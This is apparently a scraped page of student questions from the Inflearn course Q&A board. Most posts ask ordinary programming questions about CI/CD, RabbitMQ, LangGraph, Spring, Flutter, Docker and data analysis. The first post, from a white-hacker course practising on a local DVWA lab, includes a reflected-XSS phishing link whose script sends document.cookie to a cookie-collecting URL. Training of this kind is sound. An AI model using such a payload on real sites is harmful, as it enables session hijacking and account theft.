inflearn logo
강의

강의

N
챌린지

챌린지

멘토링

멘토링

N
클립

클립

로드맵

로드맵

지식공유

묻고 답해요

173만명의 커뮤니티!! 함께 토론해봐요.

이메일 피싱

미해결

화이트해커가 되기 위한 8가지 웹 해킹 기술

안녕하세요. Reflected XSS 이메일 피싱 관련해서 실습 중입니다. 스크립트를 입력폼에 직접 넣어서 실행했을 때에는 access_log에 쿠키값이 잘 떴는데, 이메일로 하려니까 아래 사진처럼 됩니다. 이메일에서 입력한 링크는 document.location%3d"> http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>document.location%3d ' http://localhost/cookie%3f '%2bdocument.cookie</script> 입니다.

  • 모의해킹
seung 댓글 1 좋아요 0 조회수 112

Error: Process completed with exit code 126.

미해결

비전공자도 이해할 수 있는 CI/CD 입문·실전

Run ./gradlew clean build 2 ./gradlew clean build 3 shell: /usr/bin/bash -e {0} 4 env: 5 JAVA_HOME: /opt/hostedtoolcache/Java_Temurin-Hotspot_jdk/21.0.7-6/x64 6 JAVA_HOME_21_X64: /opt/hostedtoolcache/Java_Temurin-Hotspot_jdk/21.0.7-6/x64 7 /home/runner/work/_temp/ 24e2a6f8-136d-471b-b2ea-6203042af791.sh : line 1: ./gradlew: Permission denied Error: Process completed with exit code 126. 찾아보니깐 실행 권한이 없어서 ./gradlew 스크립트를 실행하지 못했다는 뜻이라고 하는데 즉, Gradle Wrapper 파일에 실행 권한이 없어서 생긴 문제가 맞을까요? - name: gradlew 실행 권한 부여 run: chmod +x ./gradlew 이렇게 붙여줬더니 되긴 하더라고요. 맞는 방법이 몰라서 여쭤봅니다.

  • aws
  • docker
  • ci/cd
  • github-actions
  • aws-code-deploy
  • infrastructure
  • aws-ec2
이준엽 댓글 2 좋아요 0 조회수 188

DLQ 관련 질문

해결됨

RabbitMQ를 이용한 비동기 아키텍처 한방에 해결하기

위와 같이 로그가 찍혔으면, DLQ에서 ack 상태가 되어야하는것 아닐까요? @RabbitListener(queues = RabbitMQConfig.DLQ) public void process(String message) { System.out.println("DLQ Message Received: " + message); try { String fixMessage = "success"; rabbitTemplate.convertAndSend( RabbitMQConfig.ORDER_EXCHANGE, "order.completed.shipping", fixMessage ); System.out.println("DLQ Message Sent: " + fixMessage); } catch (Exception e) { System.err.println("### [DLQ Consumer Error] " + e.getMessage()); } } 위의 코드인 경우 AUTO 모드로 동작해서 자동으로 DLQ에서 처리가 되면 ACK 을 받을 것이라 생각했는데, DLQ에서 unack 상태로 남아있어서 여쭤봅니다! 이후에 애플리케이션을 종료하면 DLQ에서는 다시 ready 상태가 되고, 애플리케이션을 실행하면 이를 실행하고 와 같이 로그가 찍힌 다음에 다시 unack 상태가 됩니다. 좋은 강의 감사드립니다 :)

  • java
  • spring-boot
  • jpa
  • msa
  • websocket
  • rabbitmq
Jerry 댓글 2 좋아요 0 조회수 169

변경 기능 관련 강의 업데이트

해결됨

[UI3 업데이트] 피그마 배리어블을 활용한 디자인 시스템 구축하기

안녕하세요 선생님! 강의 잘 듣고 있습니다. 혹시 피그마 자체 기능으로 변경된 강의는 언제 업데이트가 될까요?

  • 웹-디자인
  • figma
  • figma-tokens
  • 디자인-시스템
  • 아토믹-디자인
  • figma-variable
  • 프로덕트디자인
심심이 댓글 2 좋아요 0 조회수 131

battle 스키마 조건 복사붙여넣기용 자료

해결됨

초보자를 위한 BigQuery(SQL) 입문

battle 스키마 조건 복사붙여넣기용 자료 어디서 찾아요?

  • sql
  • bigquery
  • 데이터-리터러시
hi-aga.park 댓글 2 좋아요 0 조회수 134

Mul core 모듈대신 CRC Encoding

해결됨

설계독학맛비's 실전 FPGA를 이용한 HW 가속기 설계 (LED 제어부터 Fully Connected Layer 가속기 설계까지)

안녕하세요 맛비님! AXI4-lite 를 사용해서 Zynq 의 cpu로 BRAM 에 data를 write 하고 해당 data를 crc encoding 하여 다른 BRAM으로 결과를 저장하는 실습을 진행하려고 합니다. 해당 강의 내용을 활용해서 진행할 생각인데, Mul_Core 부분을 CRC_encoding 내용으로 바꿔서 진행하면 문제없이 목표 달성 가능할지 궁금해서 질문드립니다 ㅎ

  • fpga
  • 임베디드
info 댓글 2 좋아요 1 조회수 121

groupby()안 괄호 관련

미해결

[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)

첫 번째, 두 번째 둘 다 groupby(컬럼명)했는데 왜 첫번째는 에러가 나고 두번째는 정사적으로 작동하나요??

  • python
  • 머신러닝
  • 빅데이터
  • pandas
  • 빅데이터분석기사
김대현 댓글 3 좋아요 0 조회수 92

작업형1 모의문제 3 문제7번

해결됨

[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)

인덱스 값이 2001인 데이터(행)을 선택할 때 df.loc[2001] df.loc[2001].mean() loc 대신 df.iloc[1,:].mean() 위처럼 iloc 함수를 사용해도 되나요?

  • python
  • 머신러닝
  • 빅데이터
  • pandas
  • 빅데이터분석기사
최수영 댓글 2 좋아요 0 조회수 77

roc_auc 결과 값 문의

해결됨

[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)

학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! 질문과 관련된 영상 위치를 알려주면 더 빠르게 답변할 수 있어요 먼저 유사한 질문이 있었는지 검색해보세 위와 같이 실행했는데 baseline roc_auc가 높게 나옵니다 그리고 y_test 실행결과 label과 점수가 비슷합니다. 어떤 이유일때문일까요?

  • python
  • 머신러닝
  • 빅데이터
  • pandas
  • 빅데이터분석기사
빅분기실기가즈아 댓글 2 좋아요 0 조회수 67

병렬 처리 질문 있습니다.

해결됨

LangGraph를 활용한 AI Agent 개발 (feat. MCP)

graph_builder.add_edge('get_tax_base_equation', 'calculate_tax_base') graph_builder.add_edge('get_tax_deduction', 'calculate_tax_base') graph_builder.add_edge('get_market_ratio', 'calculate_tax_base') 2.7 병렬 처리를 통한 효율 개선 (feat. 프롬프트 엔지니어링).ipynb 에서 질문 있습니다. 3개가 병렬로 실행된다면 분명 먼저 끝나는 노드가 있을 거고 그러면 완료 노드 순서에 맞게 calculate_tax_base를 실행해야 하지만 결과를 보면 calculate_tax_base를 한번만 실행하더라고요. 그러면 어떠한 조작 없이도 ranggraph에서 add_edge를 사용한 노드라면 자동으로 병렬 처리 완료 상태를 보관하고 3개가 전부 종료 된 후 실행된다고 이해했는데 맞을 까요? 제가 이해한게 맞다면 add_edge를 사용하지 않은 노드(Comand 명령어 사용한 노드)들의 병렬 처리에서 스레드 동기화 처리가 자동으로 안되기 때문에 반드시 add_edge를 반드시 사용해야하나요? 이런 질문을 드리는 이유는 Command를 병렬로 처리해보고 있는데 궁금증이 생겨서 그렇습니다.! messages = [ {"role": "system", "content": system_prompt}, ] + state["messages"] response = llm.with_structured_output(Routers).invoke(messages) datasources = [router['next'] for router in response['nexts']] print(datasources) # FINISH를 analyst_node로 변환 goto_nodes = [ "analyst_node" if ds == "FINISH" else ds for ds in datasources ] # 병렬 실행을 위해 전체 리스트 반환 return Command(goto=goto_nodes)

  • 프롬프트엔지니어링
  • llm
  • ai-agent
  • langgraph
  • mcp
sangin1.park 댓글 1 좋아요 0 조회수 134

댓글 최대 2 depth - 목록 API 구현 조회 테스트 부분

해결됨

스프링부트로 직접 만들면서 배우는 대규모 시스템 설계 - 게시판

아래코드 첨부 하였구요, readAllInfiniteScroll 부분 secondPage 출력 부분에 getParentCommentId 조건 체크 부분에 진입이 되서 그런지, 부모, 하위 댓글 위치가 다르게 출력 됩니다. 강의자료에 있는걸로 이식 해봐도 동일한 증상 나옵니다. 출력 부분은 각 함수마다 하단에 기입 해놨습니다 음 그니까, readAll() 부분은 부모, 자식 구분되서 잘나오는데 무한스크롤 부분에서는 기대값은 아래처럼 첫번째 첨부한 기대값과 같아야 하는데 실제 로직에서 출력되는 부분은 다르게 출력 되는거같습니다. 어떤 부분을 확인 해봐야 할가요?? firstPage comment.getCommentId() = 179060865682051072 comment.getCommentId() = 179060867179417600 comment.getCommentId() = 179060867334606848 comment.getCommentId() = 179061928581599232 comment.getCommentId() = 179061929433042944 comment.getCommentId() = 179061929709867008 secondPage comment.getCommentId() = 179065967874379776 comment.getCommentId() = 179065968025374733 comment.getCommentId() = 179065967874379777 comment.getCommentId() = 179065968008597505 @Test void readAll() { CommentPageResponse response = restClient.get() .uri("/v1/comments?articleId=1&page=1&pageSize=10") .retrieve() .body(CommentPageResponse.class); System.out.println("response.getCommentCount() = " + response.getCommentCount()); for (CommentResponse comment : response.getComments()) { if (!comment.getCommentId().equals(comment.getParentCommentId())) { System.out.print("\t"); } System.out.println("comment.getCommentId() = " + comment.getCommentId()); } /** * 1번 페이지 수행 결과 comment.getCommentId() = 179060865682051072 comment.getCommentId() = 179060867179417600 comment.getCommentId() = 179060867334606848 comment.getCommentId() = 179061928581599232 comment.getCommentId() = 179061929433042944 comment.getCommentId() = 179061929709867008 comment.getCommentId() = 179065967874379776 comment.getCommentId() = 179065968025374733 comment.getCommentId() = 179065967874379777 comment.getCommentId() = 179065968008597505 */ } @Test void readAllInfiniteScroll() { List<CommentResponse> responses1 = restClient.get() .uri("/v1/comments/infinite-scroll?articleId=1&pageSize=5") .retrieve() .body(new ParameterizedTypeReference<List<CommentResponse>>() { }); System.out.println("firstPage"); for (CommentResponse comment : responses1) { if (!comment.getCommentId().equals(comment.getParentCommentId())) { System.out.print("\t"); } System.out.println("comment.getCommentId() = " + comment.getCommentId()); } Long lastParentCommentId = responses1.getLast().getParentCommentId(); Long lastCommentId = responses1.getLast().getCommentId(); List<CommentResponse> responses2 = restClient.get() .uri("/v1/comments/infinite-scroll?articleId=1&pageSize=6&lastParentCommentId=%s&lastCommentId=%s" .formatted(lastParentCommentId, lastCommentId)) .retrieve() .body(new ParameterizedTypeReference<List<CommentResponse>>() { }); System.out.println("secondPage"); for (CommentResponse comment : responses2) { if (!comment.getCommentId().equals(comment.getParentCommentId())) { System.out.print("\t"); } System.out.println("comment.getCommentId() = " + comment.getCommentId()); } /** firstPage comment.getCommentId() = 179060865682051072 comment.getCommentId() = 179060867179417600 comment.getCommentId() = 179060867334606848 comment.getCommentId() = 179061928581599232 comment.getCommentId() = 179061929433042944 secondPage comment.getCommentId() = 179061929709867008 comment.getCommentId() = 179065967874379776 comment.getCommentId() = 179065968025374733 comment.getCommentId() = 179065967874379777 comment.getCommentId() = 179065968008597505 comment.getCommentId() = 179065967874379778 */ }

  • java
  • mysql
  • spring-boot
  • kafka
  • redis
MinKyu Song 댓글 2 좋아요 0 조회수 203

28강 프로젝트 연속성을~ 문제 풀이 정답과 해설

해결됨

PMP(프로젝트 관리 전문가) 자격 취득과정(PMBOK 6/7판 기준)

- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요. 안녕하세요? 28강 교재 8페이지에 연습 문제가 두 개 있는데, 강의에서는 한 개에 대한 정답 및 풀이가 누락된 것 같습니다. 프로젝트 관리자는 사내 프로젝트를 초기 단계에서 이끌고 있습니다. ~ 이해관계자를 분석하기 위해 프로젝트 관리자는 무엇을 해야 합니까? 에 대한 정답과 간단한 풀이를 남겨주시면 감사하겠습니다.

  • 프로젝트-관리
  • pmp
intgeek 댓글 2 좋아요 0 조회수 166

AI 에이전트로 구현하는 RAG 시스템 수강생입니다.

미해결

AI 에이전트로 구현하는 RAG 시스템(w. LangGraph)

공지사항보고 메세지 남깁니다. AI 에이전트로 구현하는 RAG 시스템 수강생인데 70퍼 쿠폰은 어떻게받을수있을까요?

  • llm
  • langchain
  • rag
  • ai-agent
  • langgraph
BH J 댓글 1 좋아요 0 조회수 184

iterator.next() 질문드립니다 !

미해결

김영한의 실전 자바 - 중급 2편

[질문 템플릿] 1. 강의 내용과 관련된 질문인가요? 예 2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? 예 3. 질문 잘하기 메뉴얼을 읽어보셨나요? 예 [질문 내용] 4:47초에서 iterator.next()가 '현재 데이터를 반환하고 다음으로 이동'한다고 하셨고, 그것이 '다음 데이터를 반환한다' 라는 말씀이라 하셨습니다. 제가 이해가 잘 안되는데, 현재 데이터를 반환하고 다음으로 이동하는 것은 리턴값이 현재 값 이라는 것일테고 다음 데이터를 반환하는 것은 리턴값이 다음 데이터라는 말일텐데, 혹시 어느 것이 맞을까요 ..?

  • java
  • 객체지향
  • 코딩-테스트
  • 알고리즘
wonderwall09in 댓글 1 좋아요 0 조회수 92

DTO 작성시 freezed 3.0 변경 부분 문의

미해결

Flutter 중급 2편 - 실전 앱 개발 - 미국 주식 앱 (with 클린 아키텍처)

이전 강의에서 freezed 3.0 변경점으로 default 사용시 일반 생성자 초기화하듯 사용하는 방법으로 진행해도 된다고 하셨는데 @JsonKey 사용법도 기존 생성자 작성과 동일하기 하고 아래 *참고소스1과 동일하게 진행해도 되는지 문의드립니다. 참고소스1 import 'package:freezed_annotation/freezed_annotation.dart'; part 'company_info_dto.freezed.dart'; part 'company_info_dto.g.dart'; // ignore_for_file: annotate_overrides @freezed @JsonSerializable() class CompanyInfoDto with _$CompanyInfoDto { @JsonKey(name: 'Symbol') final String? symbol; @JsonKey(name: 'Name') final String? name; @JsonKey(name: 'Description') final String? description; @JsonKey(name: 'Industry') final String? country; @JsonKey(name: 'Country') final String? industry; const CompanyInfoDto({ this.symbol, this.name, this.description, this.industry, this.country, }); factory CompanyInfoDto.fromJson(Map<String, dynamic> json) => _$CompanyInfoDtoFromJson(json); Map<String, dynamic> toJson() => _$CompanyInfoDtoToJson(this); } - 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요.

  • flutter
  • ios
  • android
mhlee 댓글 2 좋아요 0 조회수 222

빌드 방식에 대해 질문 있습니다.

해결됨

개발자를 위한 쉬운 도커

빌드 방식 설명에서 도커 파일을 작성해서 이미지 빌드 명령을 실행하면 도커가 임시 컨테이너를 실행하고 도커 파일에 정의된 작업을 수행 및 커밋하여 새로운 레이어를 생성하고 임시 컨테이너를 삭제한다. 이렇게 그림으로 되어있는데, 커밋을 했다는게 새로운 레이어가 포함된 이미지를 만들었다는 건가요? 임시 컨테이너 생성, 커밋, 임시 컨테이너 삭제가 반복 저 과정이 반복되는 거면 지시어 한 문장을 만날 때마다 수행 및 커밋하고 임시 컨테이너 삭제하고를 반복한다고 이해했는데, 이러면 지시어가 많을 수록 임시 컨테이너 생성, 삭제가 많이 반복되는 건가요?

  • docker
  • 가상화
  • ci/cd
  • docker-compose
  • github-actions
  • docker-volume
  • docker-image
  • container
dev.mingyo 댓글 2 좋아요 1 조회수 144

tailwind.config.ts 파일 설치가 안되는 문제

해결됨

[코드캠프] 부트캠프에서 만든 '완벽한' 프론트엔드 코스

next js 14버전, tailwind도 3.4.17로 설치하였는데, @apply 가 먹히지 않네요. 어떻게 하나요? globals.css에도 @tailwind base; @tailwind components; @tailwind utilities; 입력 시, 'Unkown at rule @tailwind' 라는 메시지가 송출됩니다. tailwind.config.ts (js->ts 변경) 파일에도 module.exports = { content: [ "./pages/**/*.{js,ts,jsx,tsx}", "./components/**/*.{js,ts,jsx,tsx}", "./app/**/*.{js,ts,jsx,tsx}", "./src/**/*.{js,ts,jsx,tsx}", ], theme: { extend: { colors: { background: "var(--background)", foreground: "var(--foreground)", 철수가좋아하는색깔: "blue", 영희가좋아하는색깔: "green", }, }, }, plugins: [], }; 입력했습니다.

  • react
  • react-native
  • 하이브리드-앱
  • graphql
  • next.js
댓글 3 좋아요 0 조회수 541

3.2.1 Upstage 로 embedding 하실때에 typeError..

미해결

RAG를 활용한 LLM Application 개발 (feat. LangChain)

3.2.1 OpenAIEmbeddings 대신 UpstageEmbeddings를 활용하는 방법 으로 실습 예제 하고 있는데요 기존 예제로 하면 chain_type 이 없이 동영상자료에서는 그대로 실행되었는데, 실제로 해보니 chain_type 이 2번째로 와야 하는데 없어서 오류가 뜨더라구요,... 아래는 동영상에서 실행되는 코드 입니다. from langchain.chains import RetrievalQA qa_chain = RetrievalQA.from_chain_type( llm, retriever=database.as_retriever(), chain_type_kwargs={"prompt": prompt} ) TypeError Traceback (most recent call last) Cell In[17], line 3 1 from langchain.chains import RetrievalQA ----> 3 qa_chain = RetrievalQA.from_chain_type( 4 llm, 5 database.as _retriever(), 6 chain_type_kwargs={"prompt":prompt} 7 ) 가 뜨게 되는데 확인해 보니, from langchain.chains import RetrievalQA qa_chain = RetrievalQA.from_chain_type( llm=llm, chain_type="stuff", # 기본 체인 타입 (원하면 "map_reduce"도 가능) retriever=database.as_retriever(), chain_type_kwargs={"prompt": prompt} ) chain_type 이 빠져서 안돌아 가더라구요.. chain_type 을 넣어주면 잘 돌아갑니다. 혹시나 저처럼 헤메이실 분을 위해 올려둡니다. OpenAI 유료결제 안하는 바람에 Upstage로 따라해보려고 하는데... 앞으로의 강의는 OpenAI 로 작성되는것 같아서 유료결제를 해야 할까요...?? 그리고 로컬 Ollama 로 하는 영상도 시간 나시면 올려주시면 좋겠어요~^^ 덕분에 langChain 의 l 도 모르던 제가 따라하게 되네요 좋은 영상 감사합니다.

  • vector-database
  • llm
  • langchain
  • rag
  • openai-api
요조 댓글 1 좋아요 0 조회수 154

supervisor_node에 messages 설명해주세요

해결됨

LangGraph를 활용한 AI Agent 개발 (feat. MCP)

3.7 찐 Multi-Agent System (feat. create_react_agent) 에 구현하신 def supervisor_node안에 messages = [ {"role": "system", "content": system_prompt}, ] + state["messages"] 해당 소스 Message에 system을 이렇게 선언하는게 맞는지 이해가 가질 않습니다. 선생님 설명에서는 analyst_node안에 invoke할 때 supervisor_node안에 넣었던 systemprompt는 불필요해서 아래 소스처럼 result = analyst_chain.invoke({'messages': state['messages'][1:]}) [1:]를 하신다고 설명하셨는데 analyst_node 안에서 state['messages']를 print함수로 확인해 봤더니 systemmessage가 들어있지 않았습니다. messagestatas에 messages에 system메세지를 추가하기 위해서 고민하다 systemMessage를 넣었더니 선생님 설명대로 됐지만 무슨 차이인지 잘 모르겠습니다. 아마 예상하기에는 MessageState가 SystemMessage, AIMessage, HumanMessage 밖에 허용을 안 하는 것 같은데 맞나요? 어떤게 올바른 방법인가요? messages = [ SystemMessage(content=system_prompt), ] + state["messages"]

  • 프롬프트엔지니어링
  • llm
  • ai-agent
  • langgraph
  • mcp
sangin1.park 댓글 2 좋아요 0 조회수 122

인기 태그

인프런 TOP Writers

주간 인기글